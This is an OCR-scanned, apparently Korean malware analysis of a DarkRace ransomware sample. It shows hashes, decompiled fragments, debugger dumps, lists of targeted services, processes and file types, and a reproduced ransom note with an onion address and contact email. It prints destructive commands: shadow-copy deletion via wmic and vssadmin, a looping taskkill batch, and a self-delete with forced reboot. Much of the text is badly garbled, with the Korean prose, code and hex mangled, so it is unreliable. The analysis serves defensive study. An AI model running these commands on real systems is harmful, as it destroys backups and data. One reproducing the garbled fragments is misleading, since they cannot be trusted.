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74b5e2d90daaf96657e4d3d800bb20bf189bb2cf487479ea0facaf6182e0d1d3.bin
MD5 cb1c423268b1373bde8a03f36f66b495
SHA-256 74b5e2d90daaf96657e4d3d800bb20bf189bb2cf487479ea0facaf6182e0d1d3
File Type Win32 EXE File Size 238.01 KB
T2 del | IY Aost = 3 2F
c= mo icon.ico
1.bat
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YA MY Al BB MY YAS 9I5| FUAS Ak

AliRd ey B13D3BES (MCALL to from 74bhbe2d?.813D3ADF
51515151515]1515] HULL

BBBBEBEBEA1 TRUE
B13F74AC "CheckMutex"'

(23 1] Fex 4y

AA4ECL58
AERAEB0A

"cmd Ac "wmic shadowcopy delete snointeractive
SW_HIDE

[A% 2] 28§ M= 7HI| A3

SliEyygnddey @13D32B8C [GHLL to from ?4hbte2d?.813D3286

M3 of

cmd /c “wmic shadowcopy delete /nointeractive

=5 MES 71O AR
cmd /c “vssadmin Delete Shaowd /All /Quiet”

ofo|2 M-S ‘Ydsth, sy Of0|2S 2fALE2|0 S55t0 L=stel OOl sy OfojE2=
|

=
Ot0| 2 I MM AHZ : “C:wProgramData/icon.ico”

sub_M176F3("C :¥ProgramDatatticon.ico™, &unk_42946C);
sub_4185BE68{dword_43EBEC, dword_ 43E@EC, "ico", @, 8, 1};
{const char =*)sub_481998(v1);
sub_A4B8A58(8, B8, & N ., strlen{v2}};

= sub_4B1968( |

sub_488A58(v3, ., . , strlen{v?)});

sub_417942{v3, 1, . ¥;

sub_ 4175B2(vd);

sub_4B82688(& s -%1s'", {char)lpWideCharStr);

sub_ 48268 0(& , "%lsfile", lpWideCharStr);

RegCreateKeyExA(HKEY _CLASSES ROOT, & , 8, 8, 8, BxFAB3Fu, B, & , B );
RegSetUalueExA({ , B, 8, 1u, & , strlen{{const char =) Y);

RegCloseKey( Y;:

[23 3] ofo|2 ‘44
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et | =or | FpE | 0E HE |

@ |in::|:|n.in::|:|

T === B O 21 ico)

6 ZZ2OH: |3 Windows AHE B B,
2IA]: C ¥ ProgramDats

37 14, 7KB (15,090 HID| E

Cl&3 == 37:  16.0KE (16,3584 HIO| E)

AliEd gy #13D3511 [FCALL to from 74bhe2d?.813D358F
BA3FFLFC| BABABAGA (| hKey = HKEY_CLASSES_ROOT

BA3FF788 | BAIFF?2C (| Subkey = . 3fe57B66AY

AA3FF784 | AABABABA (| Rezerved = BxB

AA3FF788 | AABABABA (| Class = HNULL

BAIFF7AC| BABABABA (| Options = REG_OPTIONM_MON_UOLATILE

BA3FF7168 | BABFBAIF (| ficcess = KEY_ALL_ACCESS

BE3FF714| BBBBBOGEA || pSecurity = NULL

BB3FF718 | BA3IFFVF8 | pHandle = BA3FF?F8

BA3FF71C| BA3IFF?F4 (“pDlisposition = BAIFF7F4

[23 5] sHA~E2| S5

Elieiuyyy A13D3S8E (rCALL to from 74bhe2d?.B13D358C
BA3FFLFC| BABABABA (| hKey = HKEY_CLASSES_ROOT

BAIFF786 | BAIFF?98 || Subkey = "3feSVB66AFileWDefaunltlcon®

BE3FF784 | DBOBBOO0 || Reserved = Bx0

HA3FF768 | AEBABAAA (| Class = HULL

BA3FF7AC| BABABERA (| Options = REG_OPTION_HON_UOLATILE
BA3FF7168 | BAAFBA3F (| Access = KEY_ALL_ACCESS

AA3FF714 | BABABAAA (| pSecurity = NULL

BA3FF718 | BAIFFYFE (| pHandle = BA3FF?FE

BA3FF1C| BAIFF?F4 (LpDisposition = BAIFF7F4

[23 6] AA2E2| S5
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ot oty RIS flall EY MBIAS

210t ZR3ICH

= OpeniCHanagerAa{d, @, BxFBO3Fu);

if ( I <
{

EnumServicesStatusExA{vi, 0,
= + 44
= (LPEYTE)sub_416EAB(
sub_413B16( , 8, '
if ( EnumServicesStatusExafuvi, A,
{
a;

[

-
-
—

= OpensCHanagera{®, B8, 5u),

Bx308u, 3u,

I
u
—

a, 8, &

+ uh);

8x30u, 3u, , » B

[A™ 7] MU~ 3=

22 Ofy M2

VSS sal Svc$
memtas mepocs msexchange
sophos veeam backup
GxVss GxBIr GxFWD
GxCVD GxCIMgr
MH|A E2 = Hiz| TIHAS 4dstD, siE HIRIIYO= &4 Z2MA SRS st BH
ZEICh X TS AN = WinExec S48 Saf ARSI
dd 3 s

AR532880
40808080
HEEEEEA3
B2A4F7DC
5151515151510 P
515151515150
515151515151515)

from 74bSe2d?.813F4C5EB

"CiWProgramDatatd . hat

GEMERIC_UYRI

TE

FILE_SHARE_READIFILE_SHARE_WRITE

B2A4F7DC

CREATE_ALWAYS
HORMAL

HULL

(23 8] ufz| oA 4y

Zg 4 T2 M|A

sal Oracle
chrome Veeam
mysql firefox
excel msaccess
onenote outlook
powerpnt winword
wuauclt
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g3z

‘start

ping 127.0.0.1 -n 2 >nul & taskkill /f /im sqgl* & taskkill /f /im oracle* & taskkill /f /im mysg* & taskkill
/f /im chrome= & taskkill /f /im veeam=* & taskkill /f /im firefox* & taskkill /f /im excel* & taskkill /f /im

msaccess* & taskkill /f /im onenote* & taskkill /f /im outlook* & taskkill /f /im powerpnt* & taskkill /f
/im winword=* & taskkill /f /im wuauclt*

goto start

Oid SEHAUA|, &

fo

2 ooty Y=ot oo tid MHYRIR| B|wsto] A=sts A
StO [ TAY][HE OhY =&2}].3fe57B660 FAlo2 MAUHS HFSIC LSoE OAR
O|Hof 2448t Ot Z O[0|Z|= Ot0|Z0| HAEICE 27|17t 2 WA <F 0x100000 FH7HA|2 =

2 orestect,

v38 = HapViewOfFile({{HANDLE)pnProcInfo, BxFB@1Fu, v33, v3A, duHumberOfBytesToMap);
dwFileOffsetHigh = (DWORD)u38;
if ( tu3g )
goto LABEL_608; |
sub_4045F@(dword_43EGDE, 1, &uiahs, B, v3B, dwNumberOFfBytesToMap);
UnmapliewdfFile({LPCUDID)dwFile0ffsetHigh);
v32 = dwRebootReasons;
u34 = HIDWORD{uSH) + 1;
HIDWORD{v5@) = v3k;

H

while { v3s < w52 );

u3d? = duFileOffsetLow;

LODWORD{v48) = sub_M1ZABB(dwFile0ffsetlLow, a4, v568, @);

ull = uhi;
if { vhio )
{

if ( SHIDMORD{uu8) < @ || SHIDWORD({u4D) <= B && *( DWORD)uLB )

uh?z = B;
goto LABEL_59;

ul? = (char *)MapUiewOfFile{{HANMDLE)}pnFrocInfo, BxFO@1Fu, (_ PAIR_ (a4, v39) - vaB) >> 32, v3i? - wvhd
if { vu2 )
{

qmemcpy(&us2[vs1], 1pBuffer, B8x200u);

qoto LABEL_59;

, b4+ 51233

(A3 9] oY =3}

A=3} A9 2yt

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diag-
pkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;Ink;mod;mpa;msc;msp; msstyles;msu;nls;no-
media;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-
ms

223} A2l o

bootmgr;autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desk-
top.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db; GDIPFONTCA-
CHEV1.DAT;d3d9caps.dat

ot53} Ale| Erf
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$recycle.bin;config.msi; $windows.~bt; $windows.~ws,windows;boot;program files;program
files (x86);programdata;system volume information;tor browser;windows.old;in-
tel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

e ____________________
i Readme, 3fe57B660,txt - H2 2

OHEcFy  BEE) MA0) 2200 =52iH)

~~~ DarkRace ransomware -~~~
>>>» Your data are stolen and encrypted
The data will be published on TOR website if wou do not pay the ransom
Links for Tor Browser:
http://wkr|pubBk52r j i gwxfnEnTogidSokangchazx |97z 9aopy33tax2sad. onion
>»»> What guarantees that we will not deceive vou?
We are not a politically motivated group and we do not need anvthing other than wour money
If vou pay, we will provide you the programs for decryption and we will delete your data
If we do not give you decrypters, or we do not delete your data after pawment. then nobody will pay us in the future.

Therefore to us our reputation is very inportant. We attack the companies worldwide and there is no dissatisfied victim after pavment.

>»»> You need contact us and decrvpt one file for free on these TOR sites with wour personal DECRYPTION 1D

Download and install TOR Browser https://www.torproject.org/

Write to a chat and wait for the answer, we will always answer vou.
You can _install qtox to contanct us online https://tox.chat/download.html
Tox |D Contact: = L L] =

Mail (OnionMail) Support: darkrace@onionmail.org
>»=> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems!

»>>>» Warning! |f wou do not pay the ransom we will attack wour company repeatedly again

[2Y 10] HHELE

€} _bsddb,pyd, fe57BE60 f024-03-26 2= ..,  3JFERTERR0 DH 989KB
& _ctypes, pyd, He57BER0 d13-1-102= .., 3IFERVBEROD DHFE ala
€ _ctypes_test pyd, e 7EEE0 2024-09-26 2= ... 3SFERVEEEOD DF 16KB
€ _elermenttree, pyd, 3e57BER0 2024-09-26 == ... 3FERVEEGE0D OH 126KE
€ _hashlib, pyd, 3fe57BEE0 f024-03-26 2= ..,  3JFERTERR0 DH JR1KB
€ _msi,pyd, He57BE6R0 2024-09-26 £ % ,,, 3JFEGRTEGR0 DH 48KE
&) _multiprocessing, pyd, 3fe5TBRED 2024-09-26 2= ... 3SFERVEEEOD DF 27kRB
€ _socket, pyd, 3fe57BERD 2024-09-26 == ... 3FERVEEGE0D OH 44KB
€} _sqlite3,pyd. 3fe57BEED f024-03-26 2= ..,  3JFERTERR0 DH 47K.B

(23 1] HEE ofo]2

Yools =T = AGARIE =717] flol OMIEROS A= AAeliCt

EliRiaraey B13D3A8C
slalalalolelols) NULL

from 74bbe2d?.813D36806

B13F?4CC

"application®

(A% 12] OMIE 21 2F

AR480084 AR480084
NULL

(23 13] O|HE 21 A3

Slikdyarie Y A13D3817 [GHLL to from 74h5e2d?.813D3815
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HOmE 5oy
MR S3Ha 220 TSEH
&= |75 HE
2] OME B0 (22)
=] MEIP AEEY
\? | OHE ST AIZE A=
= & Windows 23 2024-09-26 2= 0447 Ewventlog
£ sg =2H 2024-09-26 2% h034h Service Contral Manager
T| Hot 2024-03-26 2 = 5:03:40 volsnap
—| Setup 2024-09-26 2= Ri03:40 volsnap
= 2024-09-26 2= Ri02:43 Eventlog
=| Forwarded Events 2024-09-26 2= 023 Service Contral Manager
Bl S8 T20M 2 MH| - 2024-09-26 2= W27 Time-Service
£ Internet Fvnlorar 20240028 &= EN227 Coviien Contenl bdanonoe
(A% 14] 23 A A
HOHME 5
H}%(F) SaHA HIAY) TSEEH
€= FdEm
=] DI"“E 20 (23 OME 41

"f _’I'E| D\‘HIE
= [a Windows 23 Eventiog
S8 =2y
T Hot
—| Setup
ZES]
—| Forwarded Events
=] =8 Z2J8 2 MH|Z
| Internet Explarer
- Key Management £
+| Media Center
| Microsoft
| ThinPrint Diagnosti
]| Windows PowerSh
SRCIIEI P =
4=
0|#E 104, Eventlog x
gt waa\l
|5Y5t9m E1 00| AR =L j
(2% 15] 2O M| = (system 21 MU 43| 27)
OIE 25 AMAet = ddsot Biz| Ot L AHIES A/t AAet = AEESH}
Glieigity @13D36BF |TCALL to from 74h5e2d?.813D36BD
A12987D8 [ "emd #c Yping 127_.68.8_.1 & del C:WProgramDatall .bat & del C:
AEABBRAA SU_HIDE
(22 16] AH U LY BAE MY
uY BAS

cmd /c "ping 127.0.0.1 & del C:WProgramDataW 1.bat & del C:#WUsersWAdministra-
torwDesktopW74b5e2d90daaf96657e4d3d800bb20bf189bb2cf487479ea0fa-
caf6182e0d1d3.bin.sample & shutdown -r -f -t 0"
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74b5e2d90daaf96657e4d3d800bb20bf189bb2cf487479ealfacaf6182e0d 1d3

0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efad
Oadde4246aaa9fb3964d1d6cf3c29b1b13074015b250eb8e5591339f92e1e3ca
6d6134adfdf16c8ed9513abad0845b15bd314e085ef1d6bd20040afd42e36e40

b32ae94b32bcc5724d706421f915b7f7730c4fb20b04f5ab0ca830dc88dccede
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